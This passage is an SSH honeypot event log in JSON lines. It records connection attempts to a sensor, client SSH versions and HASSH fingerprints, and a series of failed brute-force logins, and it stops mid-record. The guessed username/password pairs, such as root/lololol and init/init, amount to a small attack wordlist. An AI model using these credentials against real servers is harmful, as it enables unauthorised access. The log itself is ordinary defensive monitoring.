{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":53915,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d520b4b251d","protocol":"ssh","message":"New connection: 88.147.30.59:53915 (159.203.135.109:22) [session: 0d520b4b251d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:15.184333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:15.188951Z","src_ip":"88.147.30.59","session":"0d520b4b251d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:15.313626Z","src_ip":"88.147.30.59","session":"0d520b4b251d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololol","message":"login attempt [root/lololol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:15.829463Z","src_ip":"88.147.30.59","session":"0d520b4b251d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:16.956641Z","src_ip":"88.147.30.59","session":"0d520b4b251d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b803689a5dea","protocol":"ssh","message":"New connection: 8.218.166.49:40466 (10.17.0.5:22) [session: b803689a5dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:21.122142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:21.647160Z","src_ip":"8.218.166.49","session":"b803689a5dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:21.652097Z","src_ip":"8.218.166.49","session":"b803689a5dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:23.086761Z","src_ip":"8.218.166.49","session":"b803689a5dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:24.435987Z","src_ip":"8.218.166.49","session":"b803689a5dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":54064,"dst_ip":"159.203.135.109","dst_port":22,"session":"43dc68b9270b","protocol":"ssh","message":"New connection: 221.161.235.168:54064 (159.203.135.109:22) [session: 43dc68b9270b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:38.829176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:38.833910Z","src_ip":"221.161.235.168","session":"43dc68b9270b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:39.026187Z","src_ip":"221.161.235.168","session":"43dc68b9270b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny","message":"login attempt [root/johnny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:39.827837Z","src_ip":"221.161.235.168","session":"43dc68b9270b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:41.022918Z","src_ip":"221.161.235.168","session":"43dc68b9270b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.222.22.180","src_port":52860,"dst_ip":"159.203.135.109","dst_port":22,"session":"2be391cbfcaa","protocol":"ssh","message":"New connection: 92.222.22.180:52860 (159.203.135.109:22) [session: 2be391cbfcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:48.727860Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:48.823287Z","src_ip":"92.222.22.180","session":"2be391cbfcaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":59488,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f41867eb16","protocol":"ssh","message":"New connection: 139.59.208.49:59488 (159.203.135.109:22) [session: d1f41867eb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:54.687854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:54.692913Z","src_ip":"139.59.208.49","session":"d1f41867eb16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:54.778727Z","src_ip":"139.59.208.49","session":"d1f41867eb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"indra","message":"login attempt [root/indra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:55.150169Z","src_ip":"139.59.208.49","session":"d1f41867eb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":40498,"dst_ip":"159.203.135.109","dst_port":22,"session":"33780484496b","protocol":"ssh","message":"New connection: 190.167.237.191:40498 (159.203.135.109:22) [session: 33780484496b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:56.006179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:56.012805Z","src_ip":"190.167.237.191","session":"33780484496b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:56.074323Z","src_ip":"190.167.237.191","session":"33780484496b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:56.240684Z","src_ip":"139.59.208.49","session":"d1f41867eb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:56.325616Z","src_ip":"190.167.237.191","session":"33780484496b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:57.383671Z","src_ip":"190.167.237.191","session":"33780484496b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48744,"dst_ip":"10.17.0.5","dst_port":22,"session":"baf1660004f7","protocol":"ssh","message":"New connection: 8.218.166.49:48744 (10.17.0.5:22) [session: baf1660004f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:59.491250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:00.433089Z","src_ip":"8.218.166.49","session":"baf1660004f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":59530,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab592ea9c75","protocol":"ssh","message":"New connection: 165.154.6.49:59530 (159.203.135.109:22) [session: 1ab592ea9c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:02.153302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:02.159092Z","src_ip":"165.154.6.49","session":"1ab592ea9c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:02.378440Z","src_ip":"165.154.6.49","session":"1ab592ea9c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lloyd","message":"login attempt [root/lloyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:03.281816Z","src_ip":"165.154.6.49","session":"1ab592ea9c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:04.505565Z","src_ip":"165.154.6.49","session":"1ab592ea9c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:10.732960Z","src_ip":"8.218.166.49","session":"baf1660004f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":58994,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2821f3b6898","protocol":"ssh","message":"New connection: 124.155.125.131:58994 (159.203.135.109:22) [session: d2821f3b6898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:12.029181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:12.035195Z","src_ip":"124.155.125.131","session":"d2821f3b6898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:12.212131Z","src_ip":"124.155.125.131","session":"d2821f3b6898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:12.942601Z","src_ip":"124.155.125.131","session":"d2821f3b6898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:14.120902Z","src_ip":"124.155.125.131","session":"d2821f3b6898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":37490,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aa02510fd78","protocol":"ssh","message":"New connection: 221.161.235.168:37490 (159.203.135.109:22) [session: 5aa02510fd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:21.571882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:21.576998Z","src_ip":"221.161.235.168","session":"5aa02510fd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"